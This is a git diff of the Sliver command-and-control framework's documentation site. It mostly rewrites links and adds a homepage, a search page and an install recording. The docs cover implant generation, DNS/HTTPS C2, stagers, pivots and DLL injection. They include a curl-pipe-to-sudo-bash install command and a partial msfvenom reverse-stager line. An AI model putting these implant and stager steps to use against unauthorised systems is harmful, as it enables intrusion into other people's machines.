`1.example.com.` note the trailing `.`). DNS is a finicky protocol! The final configuration should look like for the domain `lil-peep.rip`: -![DNS Configuration](https://i.imgur.com/hpOnGJp.png) +![DNS Configuration](/images/dns-c2-1.png) **IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs. @@ -59,7 +59,7 @@ nameserver 8.8.8.8 # Under the Hood -**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption), this is just about how do we move bytes back and forth. +**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption), this is just about how do we move bytes back and forth. ### Design Goals diff --git a/docs/sliver-docs/pages/docs/md/Daemon Mode.md b/docs/sliver-docs/pages/docs/md/Daemon Mode.md index 0ad304b4af..fab800c6da 100644 --- a/docs/sliver-docs/pages/docs/md/Daemon Mode.md +++ b/docs/sliver-docs/pages/docs/md/Daemon Mode.md @@ -1,4 +1,4 @@ -Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode). +Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](/docs?name=Multi-player+Mode). There are two ways to start the server in daemon mode: @@ -25,4 +25,4 @@ $ cat ~/.sliver/configs/server.json #### systemd -With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) for an example. +With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](/docs?name=Linux+Install+Script) for an example. diff --git a/docs/sliver-docs/pages/docs/md/External Builders.md b/docs/sliver-docs/pages/docs/md/External Builders.md index d455d92cc3..412b964133 100644 --- a/docs/sliver-docs/pages/docs/md/External Builders.md +++ b/docs/sliver-docs/pages/docs/md/External Builders.md @@ -24,7 +24,7 @@ External builders can also be used to create custom modifications to the implant #### Setup -Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) from the server you want to connect the builder to, for example: +Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](/docs?name=Multi-player+Mode) from the server you want to connect the builder to, for example: ``` ./sliver-server builder -c operator-multiplayer.cfg @@ -86,7 +86,7 @@ You are welcome to customize the implant source code under the terms of Sliver's 1. Fork the main Sliver Github repository 1. Make modifications to the source code -1. [Compile a Sliver server binary](https://github.com/BishopFox/sliver/wiki/Compile-From-Source) +1. [Compile a Sliver server binary](/docs?name=Compile+from+Source) 1. Connect the customized Sliver server binary to any other C2 server (including mainline servers) as an external builder 1. Operators can generate the customized implant builds via the `generate --external-builder` flag 1. Avoid making any changes to `/server` to make merging upstream easier if changes are introduced to the builder APIs diff --git a/docs/sliver-docs/pages/docs/md/Getting Started.md b/docs/sliver-docs/pages/docs/md/Getting Started.md index 9827cb8b45..062ab5e798 100644 --- a/docs/sliver-docs/pages/docs/md/Getting Started.md +++ b/docs/sliver-docs/pages/docs/md/Getting Started.md @@ -1,20 +1,28 @@ -**⚠️ NOTE:** This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial. - -## Server Setup - Download the latest server [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done. -Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode). +Sliver is designed for a one server deployment per-operation. The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux host (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, so if for some odd reason your operators actually want to use Windows you can still accommodate them using [multiplayer mode](/docs?name=Multi-player+Mode). Obfuscated builds require `git` to be installed. Additionally, Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable DLL payloads (on a Linux server) you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server. +For a Linux server, you can also use the one liner installation `curl https://sliver.sh/install|sudo bash` + +```asciinema +{"src": "/asciinema/install-1.cast", "cols": "132"} +``` + +If you install Sliver via the one liner, you can check that the server service is running using `systemctl status sliver`. Note that the Sliver service is not configured to start automatically on boot by default (i.e., if you reboot the server you'll need to start the service again using `systemctrl start sliver`): + +```asciinema +{"src": "/asciinema/service-status-1.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8} +``` + #### System Requirements -The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](https://github.com/BishopFox/sliver/wiki/External-Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console. +The Sliver server can run effectively on almost any system, however we recommend 8GB or more of RAM for compiling obfuscated implants as the obfuscator may consume large amounts of memory depending on compile-time options. You can leverage [external builders](/docs?name=External+Builders) in conjunction with low resource systems to work around hardware limitations of the server (e.g. a low powered VPS). Symbol obfuscation can also be disabled per-build, see `generate --help` in the Sliver console. ### MinGW Setup (Optional, Recommended) -In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). +In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](/docs?name=Environment+Variables). #### Linux (Debian-based) @@ -28,9 +36,9 @@ apt install git mingw-w64 brew install git mingw-w64 ``` -**Note:** On MacOS you may need to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW. +**Note:** On MacOS you may need to configure [environment variables](/docs?name=Environment+Variables) for MinGW. -See [cross-compiling implants](https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants) for more details. +See [cross-compiling implants](/docs?name=Cross-compiling+Implants) for more details. ### Metasploit Setup (Optional) @@ -38,7 +46,7 @@ We strongly recommend using the [nightly framework installers](https://github.co ## Implants: Beacon vs. Session -Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang. +Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](/docs?name=Stagers) for actual operations (at least in contexts where one may be concerned about file size). Such is the tradeoff for getting easy static compilation in Golang. Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol. @@ -52,23 +60,14 @@ Generating implants is done using the `generate` command, you must specify at le #### Session Mode -``` -[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop - -[*] Generating new windows/amd64 Sliver binary -[*] Build completed in 00:00:16 -[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe +```asciinema +{"src": "/asciinema/sliver-generate-1.cast", "cols": "132"} ``` #### Beacon Mode -``` -[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop - -[*] Generating new windows/amd64 beacon implant binary (1m0s) -[*] Symbol obfuscation is enabled -[*] Build completed in 00:00:27 -[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe +```asciinema +{"src": "/asciinema/sliver-generate-2.cast", "cols": "132"} ``` Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers. @@ -111,8 +110,8 @@ sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE For addition details about each C2 please see: -- [HTTP(S) C2]() -- [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2) +- [HTTP(S) C2](/docs?name=HTTPS+C2) +- [DNS C2](/docs?name=DNS+C2) ## Getting Shells @@ -153,7 +152,7 @@ sliver (LONG_DRAMATURGE) > ls LONG_DRAMATURGE 6.3 MiB ``` -If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant). +If you're having problems getting callbacks please see our [troubleshooting guide](/docs?name=Troubleshooting), (TL;DR add the `--debug` flag when generating an implant). ### Interacting with Beacons @@ -244,9 +243,9 @@ sliver > generate --mtls foo.com,bar.com,baz.com --strategy r Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest: -- [Armory](https://sliver.sh/docs#name=Armory) -- [Stagers](https://sliver.sh/docs#name=Stagers) -- [Community Guides](https://sliver.sh/docs#name=Community%20Guides) -- [Port Forwarding](https://sliver.sh/docs#name=Port%20Forwarding) -- [Reverse SOCKS](https://sliver.sh/docs#name=Reverse%20SOCKS) -- [BOF/COFF Support](https://sliver.sh/docs#name=BOF%20and%20COFF%20Support) +- [Armory](/docs?name=Armory) +- [Stagers](/docs?name=Stagers) +- [Community Guides](/docs?name=Community%20Guides) +- [Port Forwarding](/docs?name=Port%20Forwarding) +- [Reverse SOCKS](/docs?name=Reverse%20SOCKS) +- [BOF/COFF Support](/docs?name=BOF%20and%20COFF%20Support) diff --git a/docs/sliver-docs/pages/docs/md/HTTPS C2.md b/docs/sliver-docs/pages/docs/md/HTTPS C2.md index 187d7ca9bd..d4d592a1da 100644 --- a/docs/sliver-docs/pages/docs/md/HTTPS C2.md +++ b/docs/sliver-docs/pages/docs/md/HTTPS C2.md @@ -67,7 +67,7 @@ The priority of retrieval is the following: #### NTLM/Kerberos Proxy Authentication -You can use [advanced options](https://github.com/BishopFox/sliver/wiki/C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice. +You can use [advanced options](/docs?name=C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice. ## Start the Listener @@ -109,7 +109,7 @@ By default when using the `https` listener Sliver will simply generate a random sliver > https --domain example.com --lets-encrypt ``` -This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](https://github.com/BishopFox/sliver/wiki/Troubleshooting). +This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](/docs?name=Troubleshooting). You can also upload your own SSL/TLS certificate/key pairs: @@ -166,7 +166,7 @@ This section covers the "under the hood" implementation details of Sliver's HTTP The primary goals of the existing HTTP C2 design are to: - **Reliable Connections** The implants foremost goal is to get a connection out of the network, regardless of the environment's configuration. -- **Data Security** I won't cover this here, but [click here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) for details. +- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details. - **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below. ### Procedural HTTP C2 @@ -179,7 +179,7 @@ Each implant is also only embedded with a randomly generated subset of the serve The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now): -1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](https://github.com/BishopFox/sliver/wiki/Transport-Encryption). Everything in the path except for the extension is ignored by the server. +1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server. In the default configuration: diff --git a/docs/sliver-docs/pages/docs/md/Multi-player Mode.md b/docs/sliver-docs/pages/docs/md/Multi-player Mode.md index fb997bc99b..87dc9bca0b 100644 --- a/docs/sliver-docs/pages/docs/md/Multi-player Mode.md +++ b/docs/sliver-docs/pages/docs/md/Multi-player Mode.md @@ -1,4 +1,4 @@ -Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode. +Multiplayer-mode allows multiple operators (players) to connect to the same Sliver server and collaborate on engagements. The easiest way to setup a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script) which will configure the server as a systemd service. However, any Sliver server binary supports multiplayer mode. ``` ┌──────────────────┐ C2 diff --git a/docs/sliver-docs/pages/docs/md/Pivots.md b/docs/sliver-docs/pages/docs/md/Pivots.md index 1e299ee84f..f8353fb29e 100644 --- a/docs/sliver-docs/pages/docs/md/Pivots.md +++ b/docs/sliver-docs/pages/docs/md/Pivots.md @@ -6,7 +6,7 @@ Pivots allow you to create "chains" of implant connections, for example if you'r In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints. -Pivots perform an [authenticated peer-to-peer cryptographic key exchange](https://github.com/BishopFox/sliver/wiki/Transport-Encryption#implant-to-implant-key-exchange-pivots) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled. +Pivots perform an [authenticated peer-to-peer cryptographic key exchange](/docs?name=Transport+Encryption) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled. ## TCP Pivots diff --git a/docs/sliver-docs/pages/docs/md/Stagers.md b/docs/sliver-docs/pages/docs/md/Stagers.md index ee2cc360bc..0cc064c634 100644 --- a/docs/sliver-docs/pages/docs/md/Stagers.md +++ b/docs/sliver-docs/pages/docs/md/Stagers.md @@ -83,9 +83,9 @@ msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LU ## Custom Stagers -One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](). +One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2). -The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options]() using the `stager_file_ext` setting. +The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](/docs?name=HTTPS+C2) using the `stager_file_ext` setting. As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`. diff --git a/docs/sliver-docs/pages/docs/md/Third Party Tools.md b/docs/sliver-docs/pages/docs/md/Third Party Tools.md index a8b94fdf35..2ea8f81813 100644 --- a/docs/sliver-docs/pages/docs/md/Third Party Tools.md +++ b/docs/sliver-docs/pages/docs/md/Third Party Tools.md @@ -1,4 +1,4 @@ -# Sideloading features +## Sideloading Features Sliver implants support three different ways of loading third party tools: @@ -6,11 +6,11 @@ Sliver implants support three different ways of loading third party tools: - `sideload` - `spawndll` -## Known limitations +## Known Limitations Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension. -## .NET assemblies loading +## Loading .NET Assemblies This feature is only supported on Windows. @@ -59,7 +59,7 @@ sliver (CONCRETE_STEEL) > execute-assembly -t 80 /tmp/Seatbelt.exe All ... ``` -## Shared libraries side loading +## Shared Library Side Loading The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process. @@ -120,7 +120,7 @@ sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/Sa Please be aware that you need to specify the entrypoint to execute for Windows DLLs. -## Loading reflective DLLs +## Loading Reflective DLLs Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process. diff --git a/docs/sliver-docs/pages/docs/md/Troubleshooting.md b/docs/sliver-docs/pages/docs/md/Troubleshooting.md index c325531b91..283e24b476 100644 --- a/docs/sliver-docs/pages/docs/md/Troubleshooting.md +++ b/docs/sliver-docs/pages/docs/md/Troubleshooting.md @@ -1,5 +1,3 @@ -## Server/Client Troubleshooting - ### Server logs Server related logs are saved to: `~/.sliver/logs/` @@ -9,7 +7,7 @@ Server related logs are saved to: `~/.sliver/logs/` - `sliver.json` JSON formatted log (includes timestamps) - `audit.json` a JSON formatted history of commands/activity -The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](https://github.com/BishopFox/sliver/wiki/Configuration-Files) +The default log level for the server is `INFO` when troubleshooting it may be helpful to increase this to `DEBUG` (5), which can be done by editing the [server configuration file](/docs?name=Configuration+Files) ### Client logs diff --git a/docs/sliver-docs/pages/index.tsx b/docs/sliver-docs/pages/index.tsx index 0cb05d869d..f1983b6dc3 100644 --- a/docs/sliver-docs/pages/index.tsx +++ b/docs/sliver-docs/pages/index.tsx @@ -1,8 +1,13 @@ import AsciinemaPlayer from "@/components/asciinema"; +import { SliversIcon } from "@/components/icons/slivers"; +import TutorialCard from "@/components/tutorial-card"; import { Themes } from "@/util/themes"; import { Card, CardBody, CardHeader, Divider } from "@nextui-org/react"; +import { useRouter } from "next/router"; export default function Home() { + const router = useRouter(); + function getThemeState(): Themes { if (typeof window !== "undefined") { const loadedTheme = localStorage.getItem("theme"); @@ -20,7 +25,7 @@ export default function Home() { src="/asciinema/intro.cast" rows="18" cols="75" - idleTimeLimit={2} + idleTimeLimit={60} preload={true} autoPlay={true} loop={true} @@ -29,36 +34,70 @@ export default function Home() {
- Sliver Command & Control +
+ + Sliver Command & Control +

- Sliver is a Command and Control (C2) system made for penetration - testers, red teams, and blue teams. It generates implants that can - run on virtually every architecture out there, and securely manage - these connections through a central server. Sliver supports - multiple callback protocols including DNS, Mutual TLS (mTLS), - WireGuard, and HTTP(S) to make egress simple, even when those - pesky blue teams block your domains. You can even have multiple - operators (players) simultaneously commanding your sliver army. + Sliver is a powerful command and control (C2) framework designed + to provide advanced capabilities for covertly managing and + controlling remote systems. With Sliver, security professionals, + red teams, and penetration testers can easily establish a secure + and reliable communication channel over Mutual TLS, HTTP(S), DNS, + or Wireguard with target machines. Enabling them to execute + commands, gather information, and perform various + post-exploitation activities. The framework offers a user-friendly + console interface, extensive functionality, and support for + multiple operating systems as well as multiple CPU architectures, + making it an indispensable tool for conducting comprehensive + offensive security operations.

- {/*
-
+
+
-
*/} +
+ +
+
+
+
+ { + router.push({ + pathname: "/docs", + query: { name: "Getting Started" }, + }); + }} + /> +
+
+
+
+ +
); } diff --git a/docs/sliver-docs/pages/search/index.tsx b/docs/sliver-docs/pages/search/index.tsx new file mode 100644 index 0000000000..a53800dffe --- /dev/null +++ b/docs/sliver-docs/pages/search/index.tsx @@ -0,0 +1,71 @@ +import MarkdownViewer from "@/components/markdown"; +import { useSearchContext } from "@/util/search-context"; +import { faChevronCircleRight } from "@fortawesome/free-solid-svg-icons"; +import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; +import { Button, Card, CardBody, Divider } from "@nextui-org/react"; +import { NextPage } from "next"; +import { useSearchParams } from "next/navigation"; +import { useRouter } from "next/router"; +import React from "react"; + +export type SearchPageProps = {}; + +const SearchPage: NextPage = (props: SearchPageProps) => { + const router = useRouter(); + const search = useSearchContext(); + const query = useSearchParams().get("search"); + + const searchResults = React.useMemo(() => { + if (query) { + return search.searchDocs(query); + } + return []; + }, [query, search]); + + return ( +
+
+
+
+ Search: "{query?.slice(0, 50)}" +
+ {searchResults.length} Results +
+
+ + {searchResults.map((doc) => ( + + +
+ {doc.name} +
+ +
+ + + +
+ +
+
+
+ ))} +
+
+ +
+
+ ); +}; + +export default SearchPage; diff --git a/docs/sliver-docs/public/asciinema/install-1.cast b/docs/sliver-docs/public/asciinema/install-1.cast new file mode 100644 index 0000000000..1953b041f0 --- /dev/null +++ b/docs/sliver-docs/public/asciinema/install-1.cast @@ -0,0 +1,185 @@ +{"version": 2, "width": 137, "height": 38, "timestamp": 1702828910, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}} +[0.084701, "o", " \r\r"] +[0.134782, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[J\u001b[32m┌──(\u001b[1m\u001b[32m\u001b[34mkali㉿kali\u001b[0m\u001b[34m\u001b[32m)-[\u001b[1m\u001b[32m\u001b[39m~\u001b[0m\u001b[32m]\r\n└─\u001b[1m\u001b[32m\u001b[34m$\u001b[0m\u001b[34m\u001b[39m \u001b[K"] +[0.135514, "o", "\u001b[?1h\u001b="] +[0.136369, "o", "\u001b[?2004h"] +[1.996324, "o", "\u001b[7m\u001b[36mcurl\u001b[39m\u001b[7m https://sliver.sh/install\u001b[1m\u001b[7m\u001b[34m|\u001b[0m\u001b[39m\u001b[7m\u001b[4m\u001b[32msudo\u001b[24m\u001b[39m\u001b[7m \u001b[7m\u001b[36mbash\u001b[27m\u001b[39m"] +[2.447142, "o", "\u001b[40D\u001b[27m\u001b[36mc\u001b[27m\u001b[36mu\u001b[27m\u001b[36mr\u001b[27m\u001b[36ml\u001b[39m\u001b[27m \u001b[27mh\u001b[27mt\u001b[27mt\u001b[27mp\u001b[27ms\u001b[27m:\u001b[27m/\u001b[27m/\u001b[27ms\u001b[27ml\u001b[27mi\u001b[27mv\u001b[27me\u001b[27mr\u001b[27m.\u001b[27ms\u001b[27mh\u001b[27m/\u001b[27mi\u001b[27mn\u001b[27ms\u001b[27mt\u001b[27ma\u001b[27ml\u001b[27ml\u001b[27m\u001b[1m\u001b[34m|\u001b[0m\u001b[39m\u001b[27m\u001b[4m\u001b[32ms\u001b[27m\u001b[4m\u001b[32mu\u001b[27m\u001b[4m\u001b[32md\u001b[27m\u001b[4m\u001b[32mo\u001b[24m\u001b[39m\u001b[27m \u001b[27m\u001b[36mb\u001b[27m\u001b[36ma\u001b[27m\u001b[36ms\u001b[27m\u001b[36mh\u001b[39m "] +[3.088328, "o", "\u001b[?1l\u001b>"] +[3.095109, "o", "\u001b[?2004l\r\r\n"] +[3.138939, "o", " % Total % "] +[3.140482, "o", "Received % Xferd Average Speed Time T"] +[3.140953, "o", "ime Time Current\r\n Dload Upload Total Spent Left Speed\r\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0"] +[3.348678, "o", "\r"] +[3.349121, "o", "1"] +[3.349507, "o", "0"] +[3.34984, "o", "0"] +[3.350208, "o", " "] +[3.350435, "o", " "] +[3.35053, "o", "Installing dependencies using apt..."] +[3.350951, "o", "\r\r\n7420 10"] +[3.351661, "o", "0 742"] +[3.352273, "o", "0 0 0 35364 0 --:--:-- --:--:-- --:--:-- 35502\r\n"] +[9.95185, "o", "Selecting previously unselected package binutils-mingw-w64.\r"] +[9.952373, "o", "\r\r\n(Reading database ... \r"] +[9.971594, "o", "(Reading database ... 5%\r(Reading database ... 10%\r"] +[9.972513, "o", "(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r"] +[9.978663, "o", "(Reading database ... 55%\r"] +[9.995169, "o", "(Reading database ... 60%\r"] +[10.004957, "o", "(Reading database ... 65%\r"] +[10.018783, "o", "(Reading database ... 70%\r"] +[10.03848, "o", "(Reading database ... 75%\r"] +[10.056054, "o", "(Reading database ... 80%\r"] +[10.071003, "o", "(Reading database ... 85%\r"] +[10.084401, "o", "(Reading database ... 90%\r"] +[10.12239, "o", "(Reading database ... 95%\r"] +[10.173737, "o", "(Reading database ... 100%\r(Reading database ... 313406 files and directories currently installed.)\r\r\r\n"] +[10.189446, "o", "Preparing to unpack .../00-binutils-mingw-w64_2.41-4+11+nmu1_all.deb ...\r\r\r\n"] +[10.193803, "o", "Unpacking binutils-mingw-w64 (2.41-4+11+nmu1) ...\r\r\r\n"] +[10.269046, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix-runtime.\r\r"] +[10.269564, "o", "\r\n"] +[10.308134, "o", "Preparing to unpack .../01-gcc-mingw-w64-i686-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r"] +[10.308482, "o", "\r\r\n"] +[10.312389, "o", "Unpacking gcc-mingw-w64-i686-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"] +[11.4202, "o", "Selecting previously unselected package gcc-mingw-w64-i686-posix.\r\r\r\n"] +[11.455985, "o", "Preparing to unpack .../02-gcc-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[11.460478, "o", "Unpacking gcc-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[14.104305, "o", "Selecting previously unselected package g++-mingw-w64-i686-posix.\r\r\r\n"] +[14.141357, "o", "Preparing to unpack .../03-g++-mingw-w64-i686-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[14.146621, "o", "Unpacking g++-mingw-w64-i686-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[15.731417, "o", "Selecting previously unselected package g++-mingw-w64-i686-win32.\r"] +[15.731829, "o", "\r\r\n"] +[15.768219, "o", "Preparing to unpack .../04-g++-mingw-w64-i686-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[15.772983, "o", "Unpacking g++-mingw-w64-i686-win32 (12.2.0-14+25.2) ...\r\r\r\n"] +[17.37459, "o", "Selecting previously unselected package g++-mingw-w64-i686.\r\r"] +[17.374696, "o", "\r\n"] +[17.411973, "o", "Preparing to unpack .../05-g++-mingw-w64-i686_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[17.426232, "o", "Unpacking g++-mingw-w64-i686 (12.2.0-14+25.2) ...\r"] +[17.426332, "o", "\r\r\n"] +[17.503886, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix-runtime.\r\r"] +[17.504212, "o", "\r\n"] +[17.541562, "o", "Preparing to unpack .../06-gcc-mingw-w64-x86-64-posix-runtime_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[17.546412, "o", "Unpacking gcc-mingw-w64-x86-64-posix-runtime (12.2.0-14+25.2) ...\r\r\r\n"] +[18.714872, "o", "Selecting previously unselected package gcc-mingw-w64-x86-64-posix.\r"] +[18.715259, "o", "\r\r\n"] +[18.751957, "o", "Preparing to unpack .../07-gcc-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[18.756477, "o", "Unpacking gcc-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[21.433457, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-posix.\r"] +[21.434029, "o", "\r\r\n"] +[21.469656, "o", "Preparing to unpack .../08-g++-mingw-w64-x86-64-posix_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[21.473949, "o", "Unpacking g++-mingw-w64-x86-64-posix (12.2.0-14+25.2) ...\r\r\r\n"] +[23.071383, "o", "Selecting previously unselected package g++-mingw-w64-x86-64-win32.\r"] +[23.071919, "o", "\r\r\n"] +[23.109876, "o", "Preparing to unpack .../09-g++-mingw-w64-x86-64-win32_12.2.0-14+25.2_amd64.deb ...\r\r\r\n"] +[23.114113, "o", "Unpacking g++-mingw-w64-x86-64-win32 (12.2.0-14+25.2) ...\r\r\r\n"] +[24.915719, "o", "Selecting previously unselected package g++-mingw-w64-x86-64.\r"] +[24.916042, "o", "\r\r\n"] +[24.954255, "o", "Preparing to unpack .../10-g++-mingw-w64-x86-64_12.2.0-14+25.2_all.deb ...\r\r\r\n"] +[24.968491, "o", "Unpacking g++-mingw-w64-x86-64 (12.2.0-14+25.2) ...\r"] +[24.968909, "o", "\r\r\n"] +[25.069388, "o", "Selecting previously unselected package 